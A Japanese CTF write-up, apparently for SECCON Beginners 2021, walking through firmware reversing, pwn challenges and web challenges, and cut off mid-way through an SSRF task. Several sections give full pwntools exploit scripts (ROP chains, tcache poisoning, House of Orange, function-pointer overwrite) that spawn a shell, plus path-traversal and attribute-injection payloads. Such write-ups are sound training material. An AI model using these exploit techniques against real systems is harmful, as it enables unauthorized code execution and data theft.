WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in be_angry (0x28f9))
WARNING | 2021-05-24 16:25:06,343 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in be_angry (0x28f9))
FLAG SHOULD BE: b'ctf4b{3nc0d3_4r1thm3t1c}'

ctf4b{3nc0d3_4r1thm3t1c}

firmware [59 solved]

ファームウェアのバイナリが渡されます。

❯ file firmware.bin
firmware.bin: data

Forensicsが始まりました。とりあえずstringsしてみます。

❯ strings firmware.bin
O]J?
1ZTz
M[yM
RB=U
q_FU
KhEJ
)       J@
VMw>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"/></svg>-----BEGIN CERTIFICATE-----
MIIBjzCCATWgAwIBAgIUf3480F3IXJJY2NXy+b9Nay33868wCgYIKoZIzj0EAwIw
HTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMB4XDTIxMDUwNjE2MDEyMFoX
DTIxMDYwNTE2MDEyMFowHTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMFkw
EwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEe28MPG12OVpYZzkhAu80vq9oKX2TlmdR

なんか色々なファイルが繋がってるように見えます。binwalkで取り出してみましょう。

❯ binwalk -D=".*" firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
127           0x7F            Base64 standard index table
2343          0x927           Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388          0x954           Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503         0x1462F         PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544         0x14658         Zlib compressed data, best compression
90593         0x161E1         ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906        0x18A2A         Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485        0x1943D         JPEG image data, JFIF standard 1.01
117167        0x1C9AF         PEM certificate
117786        0x1CC1A         HTML document header
118641        0x1CF71         HTML document footer

32bit ARMのELFファイルがありました。ARMは読めないのでGhidraでデコンパイルしてみます。

undefined8 main(void)

{
...
          memcpy(acStack4212,
                 "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n"
                 ,0x5e);
          sVar2 = strlen(acStack4212);
          send(sockfd,acStack4212,sVar2,0);
          ...
          memcpy(auStack4520,&DAT_00010ea4,0xf4);
          sVar2 = strlen((char *)buf);
          if (sVar2 != 0x3d) {
            local_10b4 = 0x6f636e49;
            uStack4272 = 0x63657272;
            uStack4268 = 0x61702074;
            uStack4264 = 0x6f777373;
            local_10a4 = 0xa2e6472;
            local_10a0 = 0;
            // Incorrect password.
            sVar2 = strlen((char *)&local_10b4);
            send(sockfd,&local_10b4,sVar2,0);
            close(sockfd);
          }
          i = 0;
          while (i < 0x3d) {
            if ((uint)(buf[i] ^ 0x53) != auStack4520[i]) {
              local_10b4 = 0x6f636e49;
              uStack4272 = 0x63657272;
              uStack4268 = 0x61702074;
              uStack4264 = 0x6f777373;
              local_10a4 = 0xa2e6472;
              local_10a0 = 0;
              // Incorrect password.
              sVar2 = strlen((char *)&local_10b4);
              send(sockfd,&local_10b4,sVar2,0);
              close(sockfd);
            }
            i = i + 1;
          }
          local_10b4 = 0x72726f43;
          uStack4272 = 0x20746365;
          uStack4268 = 0x73736170;
          uStack4264 = 0x64726f77;
          local_10a4 = 0xa212121;
          local_10a0 = 0;
          // Correct password!!!
          sVar2 = strlen((char *)&local_10b4);
          send(sockfd,&local_10b4,sVar2,0);
          close(sockfd);
        }
...

怪しい処理を見つけます。

auStack4520にDAT_00010ea4を読み込み、入力 ^ 0x53と一致しているかどうか見ているようなのでDAT_00010ea4に0x53をXORすれば復元できそうです。

❯ py
>>> from pwn import xor
>>> xor("\x30\x27\x35\x67\x31\x28\x3a\x63\x27\x0c\x37\x36\x25\x62\x30\x36\x0c\x35\x3a\x21\x3e\x24\x67\x21\x36\x0c\x32\x3d\x32\x62\x2a\x20\x3a\x6c\x21\x36\x25\x60\x32\x62\x2c\x32\x0c\x3f\x63\x27\x0c\x3c\x35\x0c\x66\x36\x30\x21\x36\x64\x20\x2e\x59", 0x53)
b'ctf4b{i0t_dev1ce_firmw4re_ana1ysi?rev3a1\x7fa_l0t_of_5ecre7s}\n'

ctf4b{i0t_dev1ce_firmw4re_ana1ysi?rev3a1\x7fa_l0t_of_5ecre7s}

ReversingよりはForensicsだと思った

pwnable

rewriter [205 solved]

...
void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

void show_stack(unsigned long *stack);

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}
...
─❯ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffc3c00def0 | 0x0000000000000000  <- buf
 0x00007ffc3c00def8 | 0x0000000000000000
 0x00007ffc3c00df00 | 0x0000000000000000
 0x00007ffc3c00df08 | 0x0000000000000000
 0x00007ffc3c00df10 | 0x0000000000000000  <- target
 0x00007ffc3c00df18 | 0x0000000000000000  <- value
 0x00007ffc3c00df20 | 0x0000000000401520  <- saved rbp
 0x00007ffc3c00df28 | 0x00007f85e43e6bf7  <- saved ret addr
 0x00007ffc3c00df30 | 0x0000000000000001
 0x00007ffc3c00df38 | 0x00007ffc3c00e008

Where would you like to rewrite it?
>

リターンアドレスとは、関数の終了時に呼び出し元に戻るためにスタックに積まれる、呼び出し元を指すアドレスです。

それをwin関数のアドレスに書き替えることで関数が終了したときにwin関数に飛ぶことができます。

まずradare2でwin関数のアドレスを調べます。(これくらいならobjdump+grepでいいかも)

❯ r2 chall
[0x00401110]> aaa
[0x00401110]> afl
...
0x004011f6    1 69           sym.win
...

win関数のアドレスがわかったので、saved ret addr0x004011f6を書き込みましょう。

❯ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffcbc6f3450 | 0x0000000000000000  <- buf
 0x00007ffcbc6f3458 | 0x0000000000000000
 0x00007ffcbc6f3460 | 0x0000000000000000
 0x00007ffcbc6f3468 | 0x0000000000000000
 0x00007ffcbc6f3470 | 0x0000000000000000  <- target
 0x00007ffcbc6f3478 | 0x0000000000000000  <- value
 0x00007ffcbc6f3480 | 0x0000000000401520  <- saved rbp
 0x00007ffcbc6f3488 | 0x00007fee46f82bf7  <- saved ret addr
 0x00007ffcbc6f3490 | 0x0000000000000001
 0x00007ffcbc6f3498 | 0x00007ffcbc6f3568

Where would you like to rewrite it?
> 0x00007ffcbc6f3488
0x00007ffcbc6f3488 = 0x004011f6

[Addr]              |[Value]
====================+===================
 0x00007ffcbc6f3450 | 0x3131303430307830  <- buf
 0x00007ffcbc6f3458 | 0x34336636000a3666
 0x00007ffcbc6f3460 | 0x00000000000a3838
 0x00007ffcbc6f3468 | 0x0000000000000000
 0x00007ffcbc6f3470 | 0x00000000004011f6  <- target
 0x00007ffcbc6f3478 | 0x00007ffcbc6f3488  <- value
 0x00007ffcbc6f3480 | 0x0000000000401520  <- saved rbp
 0x00007ffcbc6f3488 | 0x00000000004011f6  <- saved ret addr
 0x00007ffcbc6f3490 | 0x0000000000000001
 0x00007ffcbc6f3498 | 0x00007ffcbc6f3568

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop [75 solved]

#include <stdio.h>
#include <unistd.h>

char *gets(char *s);

int main() {
    char str[0x100];
    gets(str);
    puts(str);
}

__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

gets関数を使うとバッファより大きい文字列を読み込ませることができるので、バッファオーバーフロー(BOF)の脆弱性があります。

ROPをします。puts関数でputs@gotを出力してlibc leakをし、stack pivotしてgetsで再度ROPします。(コンテスト中は脳死で書いてましたがstack pivotじゃなくてmainに戻る方が楽です)

最初はsystem("/bin/sh")をしたんですがうまく動かないのでexecve("/bin/sh", NULL, NULL)にしました。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc-2.27.so"

nc = "nc beginners-rop.quals.beginners.seccon.jp 4102"

command = '''
b *0x004011c9
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

pop_rdi = 0x0000000000401283
leave_ret = 0x00000000004011c8
ret = 0x000000000040101a

bss_buf = 0x404800

payload = b"A" * 0x100
payload += p64(bss_buf)
payload += p64(pop_rdi)
payload += p64(chall.got["puts"])
payload += p64(chall.sym["puts"])
payload += p64(pop_rdi)
payload += p64(bss_buf)
payload += p64(chall.sym["gets"])
payload += p64(leave_ret)
io.sendline(payload)
io.recvuntil("AAAA")
io.recvline()

libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym["puts"]
log.info(f"libc: {libc.address:x}")

pop_rax = libc.address + 0x0000000000043ae8
pop_rsi = libc.address + 0x0000000000023eea
pop_rdx = libc.address + 0x0000000000001b96
syscall = libc.address + 0x00000000000013c0

payload = p64(0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(syscall)
io.sendline(payload)


io.interactive()

ctf4b{H4rd_ROP_c4f3}

なるべく初心者に優しい解説にしたかったが、解法がクソなためできない...

uma_catch [30 solved]

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void catch();
void naming();
void show();
void dance();
void release();
int read_int();

struct hourse {
    char name[0x20];
    void (*dance)();
};

struct hourse *list[10] = {NULL};

int main() {
    int cmd;
    puts("-*-*-*-*-");
    puts("UMA catch");
    puts("-*-*-*-*-");
    puts("");
    puts("Commands");
    puts("1. catch hourse");
    puts("2. naming hourse");
    puts("3. show hourse");
    puts("4. dance");
    puts("5. release hourse");
    puts("6. exit");

    while (1) {
        puts("");
        printf("command?\n> ");
        cmd = read_int();
        switch (cmd) {
            case 1:
                catch();
                break;
            case 2:
                naming();
                break;
            case 3:
                show();
                break;
            case 4:
                dance();
                break;
            case 5:
                release();
                break;
            case 6:
                exit(0);
            default:
                break;
        }
    }
}

int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void bay_dance() {
    (馬が踊る様子が出力される)
}

void chestnut_dance() {
    (馬が踊る様子が出力される)
}

void gray_dance() {
    (馬が踊る様子が出力される)
}

int get_index() {
    printf("index?\n> ");
    return read_int();
}

void show() {
    printf(list[get_index()]->name);
}

void catch() {
    int i = get_index();
    list[i] = malloc(sizeof(struct hourse));
    while (1) {
        printf("color?(bay|chestnut|gray)\n> ");
        char buf[10];
        buf[read(0, buf, 9)] = 0;
        if (strncmp(buf, "bay", 3) == 0) { list[i]->dance = bay_dance; break; }
        if (strncmp(buf, "chestnut", 8) == 0) { list[i]->dance = chestnut_dance; break; }
        if (strncmp(buf, "gray", 4) == 0) { list[i]->dance = gray_dance; break; }
    }
}

void dance() {
    int i = get_index();
    list[i]->dance();
}

void naming() {
    int i = get_index();
    printf("name?\n> ");
    fgets(list[i]->name, 0x20, stdin);
}

void release() {
    free(list[get_index()]);
}

馬を捕まえたり名前をつけたりリリースしたり踊らせたりできるプログラムです。releaseでfreeしたポインタに対してnamingで書き込めるUse after freeの脆弱性があります。また、showでユーザーの入力をそのままprintfの書式指定子として渡しているFormat String Bugの脆弱性もあります。

FSBでアドレスをleakしてからtcache poisoningをすれば良さそうです。

(参考: https://furutsuki.hatenablog.com/entry/2019/02/26/112207)

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc-2.27.so"

nc = "nc uma-catch.quals.beginners.seccon.jp 4101"

command = '''
b *show+47
b *release+42
b *catch+45
b *naming+88
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

def catch(idx, dance):
    io.sendlineafter("command?\n> ", "1")
    io.sendlineafter("index?\n> ", str(idx))
    io.sendlineafter("color?(bay|chestnut|gray)\n> ", dance)

def naming(idx, name):
    io.sendlineafter("command?\n> ", "2")
    io.sendlineafter("index?\n> ", str(idx))
    io.sendlineafter("name?\n> ", name)

def show(idx):
    io.sendlineafter("command?\n> ", "3")
    io.sendlineafter("index?\n> ", str(idx))
    return io.recvline()

def dance(idx):
    io.sendlineafter("command?\n> ", "4")
    io.sendlineafter("index?\n> ", str(idx))

def free(idx):
    io.sendlineafter("command?\n> ", "5")
    io.sendlineafter("index?\n> ", str(idx))

fsb_base = 6

catch(0, "bay")
# Format String Attackでスタックからlibcとbinaryのアドレスをleak
naming(0, "%6$p|%7$p|%11$p")
leak = show(0).split(b"|")

chall.address = int(leak[1][2:], 16) - (chall.sym["main"]+262)
log.info(f"bin: {chall.address:x}")

libc.address = int(leak[2][2:], 16) - (libc.sym["__libc_start_main"]+231)
log.info(f"libc: {libc.address:x}")

catch(1, "bay")
free(0)
free(1)
# tcache -> 1 -> 0
# tcacheからheapのアドレスをleak
heap_base = u64(show(1).rstrip().ljust(8, b"\x00")) - 608
log.info(f"heap: {heap_base:x}")

# tcacheの単方向リストを書き替える (double free検知回避のためにtcache keyも入れておく)
naming(1, p64(libc.sym["__free_hook"]) + p64(heap_base + 16))
# tcache -> 1 -> __free_hook
catch(2, "bay")
# tcache -> __free_hook
catch(3, "bay")  # 3に__free_hookが入る
# __free_hookにsystemを入れる
naming(3, p64(libc.sym["system"]))
naming(2, b"/bin/sh\x00")
# system("/bin/sh")
free(2)

io.interactive()

ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}

2021_emulator [13 solved]

ソースコードの量がちょっと多いです。

#include "instruction.h"

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <err.h>

void print_banner();

int main() {
    struct emulator *emu = calloc(sizeof(struct emulator), 0);
    init_instructions(emu);

    print_banner();

    puts("loading to memory...");
    load_to_mem(&emu->memory, stdin);
    puts("running emulator...");
    while (1) {
        uint8_t pc = get_mem_pc(emu);
        emu->instructions[pc](emu);
        inc_pc(emu);
    }
}

void print_banner() {
    system("cat banner.txt");
}
#include <stdint.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>

enum {
    A,
    B,
    C,
    D,
    E,
    H,
    L,
    PC_H,
    PC_L,
    SP_H,
    SP_L,
    FLAG,
    REGISTERS_COUNT,
    PC = PC_H,
    SP = SP_H,
    HL = H,
    M
};

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};

typedef void instruction_t(struct emulator *);

void load_to_mem(struct emulator *emu, FILE *f) {
    char c;
    for(int i = 0, c = fgetc(f); c != EOF && i < 0x4000; i++, c = fgetc(f)) {
        emu->memory[i] = c;
        if (c == 0xC9)
            break;
    }
}
...
uint16_t get_hl(struct emulator *e) {
    uint16_t ret = 0;
    ret |= (e->registers[H] << 8);
    ret |= e->registers[L];
    return ret;
}
...
uint8_t get_mem_pc(struct emulator *e) {
    return e->memory[get_pc(e)];
}

uint8_t get_m(struct emulator *e) {
    return e->memory[get_hl(e)];
}

void inc_pc(struct emulator *e) {
    if (e->registers[PC_L] == 0xFF) {
        e->registers[PC_L] = 0;
        e->registers[PC_H]++;
    } else {
        e->registers[PC_L]++;
    }
}
#include "emulator.h"
#include <string.h>

char read_byte_pc(struct emulator *emu) {
    return emu->memory[emu->registers[PC]++];
}

static void nop(struct emulator *emu) {
    emu->registers[A] = emu->registers[A];
}

static void mov_r_r(struct emulator *emu, uint8_t r1, uint8_t r2) {
    if (r2 == M)
        emu->registers[r1] = get_m(emu);
    else if (r1 == M)
        emu->memory[get_hl(emu)] = emu->registers[r2];
    else
        emu->registers[r1] = emu->registers[r2];
}

static void hlt(struct emulator *emu) {
    printf("sorry I can't halt...\n");
}

static void mvi(struct emulator *emu) {
    uint8_t pc = get_mem_pc(emu);
    inc_pc(emu);
    switch (pc) {
        case 0x06:
            emu->registers[B] = get_mem_pc(emu);
            break;
...
            emu->registers[H] = get_mem_pc(emu);
            break;
        case 0x2E:
            emu->registers[L] = get_mem_pc(emu);
            break;
        case 0x36:
            emu->memory[get_hl(emu)] = get_mem_pc(emu);
            break;
        case 0x3E:
            emu->registers[A] = get_mem_pc(emu);
            break;

        default:
            fprintf(stderr, "NOT IMPLEMENTED!!!!\n");
            exit(1);
    }
}

static void mov(struct emulator *emu) {
    uint8_t pc = get_mem_pc(emu);
    switch (pc) {
        case 0x40:
            mov_r_r(emu, B, B);
            break;
        case 0x41:
            mov_r_r(emu, B, C);
            break;
...
        case 0x7F:
            mov_r_r(emu, A, A);

        default:
            fprintf(stderr, "NOT IMPLEMENTED!!!!\n");
            exit(1);
    }
}

static void ret(struct emulator *emu) {
    printf("A register is %d !\n", emu->registers[A]);
    puts("bye");
    exit(0);
}

void init_instructions(struct emulator *emu) {
    for (int i = 0; i <= 0xFF; i++)
        emu->instructions[i] = nop;

    for (int i = 0x40; i < 0x80; i++)
        emu->instructions[i] = mov;
    for (int i = 0x06; i < 0x3F; i+=8)
        emu->instructions[i] = mvi;
    emu->instructions[0x76] = hlt;
    emu->instructions[0xC9] = ret;
}
❯ checksec chall
[*] '/mnt/c/Users/shinji/MyFiles/CTF/ctf4b2021/2021_emulator/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Intel 8080の一部の命令を実装したエミュレータが与えられます。脆弱性はmviのここです。

        case 0x36:
            emu->memory[get_hl(emu)] = get_mem_pc(emu);
            break;

get_hlはHレジスタとLレジスタを繋げた2byteの数値を返しますが、エミュレータのメモリは0x4000 byteしかありません。

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};

そのためその後に続く関数ポインタ配列であるinstructionを書き替えることができます。今回はNo PIEなのでsystem@pltを書き込み、emulatorのメモリの冒頭に配置されるレジスタ/bin/shとなるように操作すればemu->instructions[pc](emu);system("/bin/sh")が動きます。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
# libc = "./libc.so.6"

nc = "nc emulator.quals.beginners.seccon.jp 4100"

command = '''
set follow-fork-mode parent
b *0x00401610
b system
c
'''

chall = ELF(file)

io = get_io()

shellcode = b""

def write(addr, val):
    global shellcode
    # 知らんけどオフセットが少しずれてる
    addr += 0x4
    shellcode += b"\x26" + p16(addr)[1:]
    shellcode += b"\x2e" + p16(addr)[:1]
    shellcode += b"\x36" + p8(val)

# \x00の命令にsystemを書き込む
for i, c in enumerate(p64(chall.plt["system"])):
    write(0x4000 + i, c)

shellcode += b"\x3e" + b"/"  # A
shellcode += b"\x06" + b"b"  # B
shellcode += b"\x0e" + b"i"  # C
shellcode += b"\x16" + b"n"  # D
shellcode += b"\x1e" + b"/"  # E
shellcode += b"\x26" + b"s"  # H
shellcode += b"\x2e" + b"h"  # L

shellcode += b"\x00\xc9"

io.send(shellcode)

io.interactive()

ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}

freeless [12 solved]

#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define MAX_NOTE 0x10

char *note[MAX_NOTE];

void readline(char *buf) {
  char c;
  while ((read(0, &c, 1) == 1) && c != '\n')
    *(buf++) = c;
}
void print(const char *msg) {
  if (write(1, msg, strlen(msg)) < 0)
    _exit(1);
}
int readi(void) {
  char buf[0x10];
  if (read(0, buf, sizeof(buf)) < 0)
    _exit(1);
  return atoi(buf);
}

int menu(void) {
  print("1. new\n2. edit\n3. show\n> ");
  return readi();
}

int main() {
  unsigned int idx, size;
  while (1) {
    switch (menu()) {

    case 1:
      print("index: ");
      idx = (unsigned int)readi();
      if (idx >= MAX_NOTE || note[idx]) {
        print("[-] invalid index\n");
      } else {
        print("size: ");
        size = (unsigned int)readi();
        if (size >= 0x1000) {
          print("[-] size too big\n");
        } else {
          note[idx] = (char*)malloc(size);
        }
      }
      break;

    case 2:
      print("index: ");
      idx = (unsigned int)readi();
      if (idx >= MAX_NOTE || note[idx] == NULL) {
        print("[-] invalid index\n");
      } else {
        print("data: ");
        readline(note[idx]);
      }
      break;

    case 3:
      print("index: ");
      idx = (unsigned int)readi();
      if (idx >= MAX_NOTE || note[idx] == NULL) {
        print("[-] invalid index\n");
      } else {
        print("data: ");
        print(note[idx]);
        print("\n");
      }
      break;

    default:
      print("[+] bye");
      _exit(0);
    }
  }
}

いつものnote形式のheap問ですが、freeできる機能がありません。脆弱性はreadline関数のBOFです。

BOFでtop chunkのsizeを書き替えられるのでHouse of Orangeでしょう。top chunk sizeを超えたmallocをするときはmmapで新たに領域を確保してそこから切り出すのですが、元のtop chunkが無駄になるのでこのときにtop chunkに対して_int_freeが呼ばれます。(参考: https://ptr-yudai.hatenablog.com/entry/2019/10/12/181931)

mallocできるサイズに制限はありますが、top chunk sizeを小さく書き替えて複数回に分けてmallocすれば問題ありません。まずtop chunkをunsorted binとtcacheに入れてlibcとheapをleakし、tcache poisoningで__malloc_hookにone gadgetを入れれば良さそうです。しかし、one gadgetが通りませんでした。

そのため__libc_argvからstack leakをしてrspを計算し、ROPしました。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc-2.31.so"

nc = "nc freeless.quals.beginners.seccon.jp 9077"

#
# b *main+162
# b *main+304

command = '''
b *main
c
b *__run_exit_handlers+214
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

def new(idx, size):
    io.sendlineafter("> ", "1")
    io.sendlineafter("index: ", str(idx))
    if isinstance(size, int):
        io.sendlineafter("size: ", str(size))
    else:
        io.sendlineafter("size: ", size)

def edit(idx, data):
    io.sendlineafter("> ", "2")
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("data: ", data)

def show(idx):
    io.sendlineafter("> ", "3")
    io.sendlineafter("index: ", str(idx))
    return io.recvline()[len("data: "):]


new(0, 0x18)
edit(0, b"A" * 0x18 + p64(0xd51))
new(1, 0xd50 - 0x50)
new(2, 0x100)  # free

edit(2, b"A" * 0x108 + p64(0xef1))
new(3, 0xef0 - 0x50)
new(4, 0x100)  # free

edit(3, b"A" * (3752 + 8))
heap_base = u64(show(3)[-7:].rstrip().ljust(8, b"\x00")) - 0xfd0
log.info(f"heap: {heap_base:x}")

edit(4, b"A" * 0x108 + p64(0xef1))
new(5, 0xef0 - 0x600)
new(6, 0x600)  # free

edit(5, b"A" * 2304)
libc.address = u64(show(5)[-7:].rstrip().ljust(8, b"\x00")) - 0x1ebbe0
log.info(f"libc: {libc.address:x}")

edit(5, b"A" * (2304 - 8) + p64(0x5d1))
# new(15, 0x5c0)

# tcache poisoning
edit(3, b"A" * (3752) + p64(0x21) + p64(heap_base + 0x10) + p64(heap_base + 0x10))
new(7, 0x18)
new(8, 0x18)

edit(8, p64(0xff) + p64(0) * 15 + p64(libc.address + 0x1f0e70))
new(9, 0x18)
argv = u64(show(9)[-7:].rstrip().ljust(8, b"\x00"))
log.info(f"argv: {argv:x}")

rsp = argv - 272
edit(8, p64(0xff) + p64(0) * 15 + p64(rsp))
new(10, 0x18)

pop_rdi = 0x0000000000026b72
ret = 0x0000000000025679

payload = p64(libc.address + pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.address + ret)
payload += p64(libc.sym["system"])
print(payload)
edit(10, payload)

io.interactive()

ctf4b{sysmalloc_wh4t_R_U_d01ng???}

公式Writeupではone gadget使ってたんですが、one_gadgetのバージョンを挙げて-l 1を付ければ出てきました。アップデートは、定期的にしよう!

web

osoba [649 solved]

お蕎麦に関する情報が見れるサイトです。URLを見ると/?page=public/kikin.htmlとなっているし、/flagにフラグがあると問題文で言われているので恐らく典型的なディレクトリトラバーサルでしょう。

/?page=../../../../flagで適当に親ディレクトリを辿っていくとフラグが手に入ります。

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf [311 solved]

import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
    @property
    def role(self):
        return self.__role
    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

player.roleWEREWOLFになれば勝ちです。気になるのはplayer.__dict__[k] = vで、kに__role、vにWEREWOLFを入れれば良さそうです。

>>> re.search("ctf4b{[\x20-\x7f]+}", requests.post("https://werewolf.quals.beginners.seccon.jp/", data={"name": "hoge", "color": "red", "__role": "WEREWOLF"}).text)
>>>

駄目でした。挙動を実際に確認してみます。

import random

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
    @property
    def role(self):
        return self.__role
    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role

print(Player().__dict__)
# => {'name': None, 'color': None, '_Player__role': 'KNIGHT'}

どうやら__Player_roleがキーになっているようです。直してリクエストを送るとフラグが得られました。

>>> re.search("ctf4b{[\x20-\x7f]+}", requests.post("https://werewolf.quals.beginners.seccon.jp/", data={"name": "hoge",
"color": "red", "_Player__role": "WEREWOLF"}).text)
<re.Match object; span=(882, 923), match='ctf4b{there_are_so_many_hackers_among_us}'>

ctf4b{there_are_so_many_hackers_among_us}

check_url [232 solved]

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
